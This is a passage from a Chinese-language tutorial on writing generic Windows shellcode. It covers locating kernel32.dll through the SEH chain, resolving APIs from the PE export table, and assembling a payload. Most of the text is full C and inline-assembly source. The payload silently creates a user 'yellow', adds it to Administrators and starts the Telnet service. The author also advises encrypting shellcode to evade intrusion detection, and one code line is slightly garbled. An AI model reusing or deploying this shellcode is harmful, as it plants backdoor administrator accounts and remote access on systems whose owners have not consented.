PVOID pvArbitrary; // 14h Available for application use struct _tib *ptibSelf; // 18h Linear address of TIB structure
union // 1Ch (NT/Win95 differences) { struct // Win95 fields { WORD TIBFlags; // 1Ch WORD Win16MutexCount; // 1Eh DWORD DebugContext; // 20h DWORD pCurrentPriority; // 24h DWORD pvQueue; // 28h Message Queue selector } WIN95;
struct // WinNT fields { DWORD unknown1; // 1Ch DWORD processID; // 20h <=---注意这个和下面一个成员 //------------- DWORD threadID; // 24h <=---注意这个成员 //------------- DWORD unknown2; // 28h } WINNT; } TIB_UNION2;
PVOID* pvTLSArray; // 2Ch Thread Local Storage array
union // 30h (NT/Win95 differences) { struct // Win95 fields { PVOID* pProcess; // 30h Pointer to owning Process Database } WIN95; } TIB_UNION3;
} TIB, *PTIB;
看见了吗?TEB的第一个成员pvExcept是异常处理链首指针Head of exception record list,它相对于TEB首地址0x00偏移处,而TEB永远放在fs段寄存器的0x00偏移处,也就是fs段寄存器的0x00偏移处.看到我让你留意的另两个成员了吗?processID存储了当前线程属进程的ID号,threadID存储了当前线程ID号,这样我们又可以实现两Windows API了: //MyAPI.c #include <stdio.h> #include <conio.h> #include <windows.h>
__inline __declspec(naked)DWORD GetCurrentProcessId2(void) { __asm { mov eax,fs:[0x20]//读取TEB的processID成员内容,通过eax返回 ret } }
__inline __declspec(naked)DWORD GetCurrentThreadId2(void) { __asm { mov eax,fs:[0x24]//读取TEB的threadID成员内容,通过eax返回 ret } } //测试一下 void main(void) { printf("MY PID=%d/tAPI PID=%d/n",GetCurrentProcessId2(),GetCurrentProcessId()); printf("MY TID=%d/tAPI TID=%d/n",GetCurrentThreadId2(),GetCurrentThreadId()); getch(); } 程序输出: MY PID=1448 API PID=1448 MY TID=1204 API TID=1204
注意,不同的机器,不同时刻这里输出的值可能不一样,但MY PID恒等于API PID,MY TID恒等API TID.越来越有意思了吧!说了这么多,那么这些与获得kernel32.dll基址有什么关系吗?不要着急,继续往下看你就会明白的!
2,通过异常处理函数链表查找kernel32.dll基地址
现在让我们来看看异常处理的顺序,它是这样的: 当一个异常发生时,系统会从fs:[0]处读取异常处理函数链表首指针,开始问所有在应用程序中注册的异常处理函数,比如上面的"除0异常",系统会把这个异常通知我们的异常处理函数,函数识别出是"除0异常",并给予了处理(输出了"Can not Divide by Zero!"),并告诉系统"我已经处理过了,不用再问其它函数了". 如果我们的函数不打算处理这个异常可以交给兄弟节点中异常处理函数指针指向的其它异常处理函数处理,如果程序中注册的异常处理均不处理这个异常,那么系统将把它发送给当前调试工具,如果应用程序当前不处在调试状态或是调试工具也不处理这个异常的话,系统将把它发送给kernel32UnhandledExceptionFilter函数进行处理,当然它是由程序异常处理链最后一个节点的pfnHandler(参考EXCEPTION_REGISTRATION_RECORD) 函数指针成员指向的,该节点的pNext成员将指向0xffffffff. 看了这么多有点灵感了吗?我们已经有了kernel32.dll的一个引出函数的地址了,难道还找不出它的基址 吗?看看下面的这个小程序吧! /* 原型:unsigned int GetKernel32(void); 参数:无 返回值: 函数总是能返回Kernel32.dll的基地址 说明:根据PE可执行文件特征从UnhandledExceptionFilter函数地址向上线性查找,使用__inline是为了与 最终的ShellCode融为一体,使用__declspec(naked)是为了不让编译器自作聪明生成一些"废话",让它 完全按照我们自己的Asm语句来描述函数. */ #include <stdio.h> #include <conio.h>
__inline __declspec(naked) unsigned int GetKernel32() { __asm { push esi push ecx mov esi,fs:0 lodsd GetExeceptionFilter: cmp [eax],0xffffffff je GetedExeceptionFilter//如果到达最后一个节点(它的pfnHandler指向UnhandledExceptionFilter) mov eax,[eax]//否则往后遍历,一直到最后一个节点 jmp GetExeceptionFilter GetedExeceptionFilter: mov eax, [eax+4] FindMZ: and eax,0xffff0000//根据PE执行文件以64k对界的特征加快查找速度 cmp word ptr [eax],'ZM'//根据PE可执行文件特征查找KERNEL32.DLL的基址 jne MoveUp//如果当前地址不符全MZ头部特征,则向上查找 mov ecx,[eax+0x3c] add ecx,eax cmp word ptr [ecx],'EP'//根据PE可执行文件特征查找KERNEL32.DLL的基址 je Found//如果符合MZ及PE头部特征,则认为已经找到,并通过Eax返回给调用者 MoveUp: dec eax//准备指向下一个界起始地址 jmp FindMZ Found: pop ecx pop esi ret } }
void main(void) { printf("%0.8X/n",GetKernel32()); getch(); } 完成了本节的学习以后,你应该掌握常用于编写病毒和ShellCode的几种技术: 1,根据PE文件查找引出函数地址 2,动态计算KERNEL32.DLL的基址 3,动态装载需要的运行库及动获得需要的Windows API(s) 在最后一节里我们将对前面所分析的技术做一个综合应用,写一个简单的ShellCode
三,综合运用
本节我们将综合前面分析的技术编写一个简单的通用ShellCode,这个ShellCode将首先在远程机器上新建一个用户,用户名yellow,密码yellow,如果如果可能将把该用户加入Administrators用户组,如果可能还会打开Telnet服务,请留意我的编码风格,这样风格对以后的ShellCode功能扩充提供很大方便.源程序如下: //////////////////////////////////////////////////////////// #include <stdio.h> #include <conio.h> #include <windows.h> #include <winsock.h> //定义API及DLL名称及其存储顺序,良好的编码风格对于以后的开发会提供很大的方便 #define APISTART 0 #define GETPROCADDRESS(APISTART+0) #define LOADLIBRARY(APISTART+1) #define EXITPROCESS(APISTART+2) #define WINEXEC(APISTART+3) #define KNLSTART(EXITPROCESS) #define KNLEND(WINEXEC) #define NKNLAPI(4)
#define WSOCKSTART(KNLEND+1) #define SOCKET(WSOCKSTART+0) #define BIND(WSOCKSTART+1) #define CONNECT(WSOCKSTART+2) #define ACCEPT(WSOCKSTART+3) #define LISTEN(WSOCKSTART+4) #define SEND(WSOCKSTART+5) #define RECV(WSOCKSTART+6) #define CLOSESOCKET(WSOCKSTART+7) #define WSASTARTUP(WSOCKSTART+8) #define WSACLEANUP(WSOCKSTART+9) #define WSOCKEND(WSACLEANUP) #define NWSOCKAPI(10) //define NETAPI,RPCAPI...... #define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)
#define DLLSTART 0 #define KERNELDLL(DLLSTART+0) #define WS2_32DLL(DLLSTART+1) #define DLLEND (WS2_32DLL) #define NDLLS2
#define COMMAND_START 0 #define COMMAND_ADDUSER (COMMAND_START+0) #define COMMAND_SETUSERADMIN(COMMAND_START+1) #define COMMAND_OPENTLNT (COMMAND_START+2) #define COMMAND_END (COMMAND_OPENTLNT) #define NCMD3 void ShellCodeFun(void) { DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS]; int i; char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD]; FARPROC API[NAPIS]; __asm {//1,手工获得KERNEL32.DLL基址,并获得LoadLibraryA和GetProcAddress函数地址 push esi push ecx mov esi,fs:0 lodsd GetExeceptionFilter: cmp [eax],0xffffffff je GetedExeceptionFilter mov eax,[eax] jmp GetExeceptionFilter GetedExeceptionFilter: mov eax, [eax+4] FindMZ: and eax,0xffff0000 cmp word ptr [eax],'ZM' jne MoveUp mov ecx,[eax+0x3c] add ecx,eax cmp word ptr [ecx],'EP' je FoundKNL MoveUp: dec eax jmp FindMZ FoundKNL: pop ecx pop esi mov DLLS[KERNELDLL* type DWORD],eax mov ImageBase,eax call LGETPROCADDRESS _emit 'G'; _emit 'e'; _emit 't'; _emit 'P'; _emit 'r'; _emit 'o'; _emit 'c'; _emit 'A'; _emit 'd'; _emit 'd'; _emit 'r'; _emit 'e'; _emit 's'; _emit 's'; _emit 0x00 LGETPROCADDRESS: pop eax mov APINAMES[GETPROCADDRESS * 4],eax mov FuncName,eax mov flen,0x0d mov Count,0 call FindApi mov API[GETPROCADDRESS *type FARPROC],eax call LOADLIBRARYA _emit 'L'; _emit 'o'; _emit 'a'; _emit 'd'; _emit 'L'; _emit 'i'; _emit 'b'; _emit 'r'; _emit 'a'; _emit 'r'; _emit 'y'; _emit 'A'; _emit 0x00 LOADLIBRARYA: pop eax mov APINAMES[LOADLIBRARY * 4],eax mov FuncName,eax mov flen,0x0b mov Count,0 call FindApi mov API[LOADLIBRARY * type FARPROC],eax } __asm { //2,填写需要的DLL名称,注意这里和上面定义的宏顺序要一样 call KERNEL32 _emit 'k'; _emit 'e'; _emit 'r'; _emit 'n'; _emit 'e'; _emit 'l'; _emit '3'; _emit '2'; _emit '.' _emit 'd' _emit 'l' _emit 'l' _emit 0x00 KERNEL32: pop DLLNAMES[KERNELDLL*4] call WS2_32 _emit 'w'; _emit 's'; _emit '2'; _emit '_'; _emit '3'; _emit '2'; _emit '.' _emit 'd' _emit 'l' _emit 'l' _emit 0x00 WS2_32: pop DLLNAMES[WS2_32DLL * 4] //3,填写其它需要的API名称,注意这里也要和上面定义和宏顺序一样 call LEXITPROCESS//1 _emit 'E'; _emit 'x'; _emit 'i'; _emit 't'; _emit 'P'; _emit 'r'; _emit 'o'; _emit 'c'; _emit 'e'; _emit 's'; _emit 's'; _emit 0x00 LEXITPROCESS: pop APINAMES[EXITPROCESS * 4] call LWINEXEC//2 _emit 'W'; _emit 'i'; _emit 'n'; _emit 'E'; _emit 'x'; _emit 'e'; _emit 'c'; _emit 0x00 LWINEXEC: pop APINAMES[WINEXEC * 4] call LSOCKET//3 _emit 's'; _emit 'o'; _emit 'c'; _emit 'k'; _emit 'e'; _emit 't'; _emit 0x00 LSOCKET: pop APINAMES[SOCKET * 4] call LBIND//4 _emit 'b'; _emit 'i'; _emit 'n'; _emit 'd'; _emit 0x00 LBIND: pop APINAMES[BIND * 4] call LCONNECT _emit 'c'; _emit 'o'; _emit 'n'; _emit 'n'; _emit 'e'; _emit 'c'; _emit 't'; _emit 0x00 LCONNECT: pop APINAMES[CONNECT * 4] call LACCEPT//5 _emit 'a'; _emit 'c'; _emit 'c'; _emit 'e'; _emit 'p'; _emit 't'; _emit 0x00 LACCEPT: pop APINAMEScall LLISTEN//6 _emit 'l'; _emit 'i'; _emit 's'; _emit 't'; _emit 'e'; _emit 'n'; _emit 0x00 LLISTEN: pop APINAMES[LISTEN * 4] call LSEND//7 _emit 's'; _emit 'e'; _emit 'n'; _emit 'd'; _emit 0x00 LSEND: pop APINAMES[SEND * 4] call LRECV//8 _emit 'r'; _emit 'e'; _emit 'c'; _emit 'v'; _emit 0x00 LRECV: pop APINAMES[RECV * 4] call CLOSESOCKETL//9 _emit 'c'; _emit 'l'; _emit 'o'; _emit 's'; _emit 'e'; _emit 's'; _emit 'o'; _emit 'c'; _emit 'k'; _emit 'e'; _emit 't'; _emit 0x00 CLOSESOCKETL: pop APINAMES[CLOSESOCKET * 4] call WSASTARTUPL//10 _emit 'W'; _emit 'S'; _emit 'A'; _emit 'S'; _emit 't'; _emit 'a'; _emit 'r'; _emit 't'; _emit 'u'; _emit 'p'; _emit 0x00 WSASTARTUPL: pop APINAMES[WSASTARTUP * 4] call WSACLEANUPL//11 _emit 'W'; _emit 'S'; _emit 'A'; _emit 'C'; _emit 'l'; _emit 'e'; _emit 'a'; _emit 'n'; _emit 'u'; _emit 'p'; _emit 0x00 WSACLEANUPL: pop APINAMES[WSACLEANUP * 4] //nop;可以在这里设置一个断点查看DLLNAMES和APINAMES是否填入了需要的内容
//填写 } //3,装载所有需要的DLL for(i=DLLSTART;i<=DLLEND;i++) { DLLS[i]=API[LOADLIBRARY](DLLNAMES[i]); } //4,获取所有需要的API //4.1取得Windows Kernel API for(i=KNLSTART;i<=KNLEND;i++) { API[i]=API[GETPROCADDRESS](DLLS[KERNELDLL],APINAMES[i]); } //4.2取得Windows Sockets API for(i=WSOCKSTART;i<=WSOCKEND;i++) { API[i]=API[GETPROCADDRESS](DLLS[WS2_32DLL],APINAMES[i]); } //5,编写ShellCode的功能实体部分 __asm { call PUTCOMMAND_ADDUSER _emit 'n' _emit 'e' _emit 't' _emit ' ' _emit 'u' _emit 's' _emit 'e' _emit 'r' _emit ' ' _emit 'y' _emit 'e' _emit 'l' _emit 'l' _emit 'o' _emit 'w' _emit ' ' _emit 'y' _emit 'e' _emit 'l' _emit 'l' _emit 'o' _emit 'w' _emit ' ' _emit '/' _emit 'a' _emit 'd' _emit 'd' _emit 0x00 PUTCOMMAND_ADDUSER: pop CMD[COMMAND_ADDUSER * 4] call PUTCOMMAND_SETUSERADMIN _emit 'n' _emit 'e' _emit 't' _emit ' ' _emit 'l' _emit 'o' _emit 'c' _emit 'a' _emit 'l' _emit 'g' _emit 'r' _emit 'o' _emit 'u' _emit 'p' _emit ' ' _emit 'A' _emit 'd' _emit 'm' _emit 'i' _emit 'n' _emit 'i' _emit 's' _emit 't' _emit 'r' _emit 'a' _emit 't' _emit 'o' _emit 'r' _emit 's' _emit ' ' _emit 'y' _emit 'e' _emit 'l' _emit 'l' _emit 'o' _emit 'w' _emit ' ' _emit '/' _emit 'a' _emit 'd' _emit 'd' _emit 0x00 PUTCOMMAND_SETUSERADMIN: pop CMD[COMMAND_SETUSERADMIN*4] call PUTCOMMAND_OPENTLNT _emit 'n' _emit 'e' _emit 't' _emit ' ' _emit 's' _emit 't' _emit 'a' _emit 'r' _emit 't' _emit ' ' _emit 't' _emit 'l' _emit 'n' _emit 't' _emit 's' _emit 'v' _emit 'r' _emit 0x00 PUTCOMMAND_OPENTLNT: pop CMD[COMMAND_OPENTLNT* 4] } //__asm int 3//在Release版本中使用断点 //6,执行命令新建用户,如果权限够就将用户加入Administrators,再开启标准的Telnet服务 for(i=COMMAND_START;i<=COMMAND_END;i++) API[WINEXEC](CMD[i],SW_HIDE); /* 我们已经引入了一些常用的KERNEL API和WINSOCK API,可以在这里进行更深入的开发(比如我们可以使用WinSock自己实现一个Telnet服务端). */ API[EXITPROCESS](0);//使用ExitProcess来退出ShellCode以减少错误
__asm { /* 子程序FindApi,由我前面讲解的GetFunctionByName修改得到 入口参数: ImageBase:DLL基址 FuncName:需要查找的引出函数名 flen:引出函数名长度,在不会出现重复的情况下可以比引出函数名短一点 Count:引出函数地址索引起始,通常应该把它设为0. 出口参数: 如果查找则成功Eax返回有效的函数地址,否则返回0 */ FindApi: mov eax,ImageBase add eax,0x3c//指向PE头部偏移值e_lfanew mov eax,[eax]//取得e_lfanew值 add eax,ImageBase//指向PE header cmp [eax],0x00004550 jne NotFound//如果ImageBase句柄有错 mov PE,eax mov eax,[eax+0x78] add eax,ImageBase//指向IMAGE_EXPORT_DIRECTORY mov [IED],eax mov eax,[eax+0x20] add eax,ImageBase mov FunNameArray,eax//保存函数名称指针数组的指针值 mov ecx,[IED] mov ecx,[ecx+0x14]//根据引出函数个数NumberOfFunctions设置最大查找次数 FindLoop: push ecx//使用一个小技巧,使用程序循环更简单 mov eax,[eax] add eax,ImageBase mov esi,FuncName mov edi,eax mov ecx,flen//逐个字符比较,如果相同则为找到函数,注意这里的ecx值 cld rep cmpsb jne FindNext//如果当前函数不是指定的函数则查找下一个 add esp,4//如果查找成功,则清除用于控制外层循环而压入的Ecx,准备返回 mov eax,[IED] mov eax,[eax+0x1c] add eax,ImageBase//获得函数地址表 shl Count,2//根据函数索引计算函数地址指针=函数地址表基址+(函数索引*4) add eax,Count mov eax,[eax]//获得函数地址相对偏移量 add eax,ImageBase//计算函数真实地址,并通过Eax返回给调用者 jmp Found FindNext: inc Count//记录函数索引 add [FunNameArray],4//下一个函数名指针 mov eax,FunNameArray pop ecx//恢复压入的ecx(NumberOfFunctions),进行计数循环 loop FindLoop//如果ecx不为0则递减并回到FindLoop,往后查找 NotFound: xor eax,eax//如果没有找到,则返回0 Found: ret //ShellCode结束标识符 _emit '*' _emit '*' } }
void AboutMe(void) { printf("/t++++++++++++++++++++++++++++++++++/n"); printf("/t+ ShellCode Demo! +/n"); printf("/t+ Code by yellow +/n"); printf("/t+ Date:2003-12-21 +/n"); printf("/t+ Email:yellow@safechina.net +/n"); printf("/t+ Home Page:www.safechina.net +/n"); printf("/t++++++++++++++++++++++++++++++++++/n");
}
void printsc(unsigned char *sc) { int x=0; printf("unsigned char shellcode[]={"); while(1) { if ((*sc=='*')&&(*(sc+1)=='*')) break; if(!(x++%10)) printf("/n/t"); printf("0x%0.2X,",*sc++); } printf("/n};/nTotal %d Bytes/r/n",x+1); }
int main(void) { unsigned char *p=ShellCodeFun; unsigned int k=0; if(*p==0xe9) { k=*(unsigned int*)(++p); (int)p+=k; (int)p+=4; } printsc(p); AboutMe(); getch(); } //////////////////////////////////////////////////////////// 注意我在这里我没有演示ShellCode加密技术,现在的ShellCode加密大都都xor之类的操作,基本上比较简单,但为了逃避"入侵检测系统"的查杀还是应该使用比较好的加密方法,我想以后可能会写一些相关的技术文章吧!
Ok!已经演示了这么多,我想你的收获一定不小吧!俗话说的好"师傅领进门,修行在个人",ShellCode最关键的技术我们已经掌握了,至于怎么去实现一个功能丰富的ShellCode就看你自己的开发技术和经验了!
最后 当我初学ShellCode编写技术时,对于没有能让初学者入门的ShellCode教程可以参考而感到烦恼,所以在我完成PE和KERNEL32地址获得方法学习后,就立刻写了这篇文章,希望对广大初学者有所帮助!眼看快要到圣诞节,yellow在这里初大家圣诞节快乐,永远开心,永远年轻!愿中国的安全技术更上一层楼!
4,参考资料. <MSDN> <Windows 核心编程> <Windows 95系统程序设计大奥秘> <Win32Asm Programming> 5,关键字: 通用ShellCode,黑客编程技术,PE引出表,KERNEL32.DLL地址,结构化异常处理,SEH,溢出,overflow,中华安全网
 
说明:本教程来源互联网或网友上传或出版商,仅为学习研究或媒体推广,wanshiok.com不保证资料的完整性。
2/2 首页 上一页 1 2 |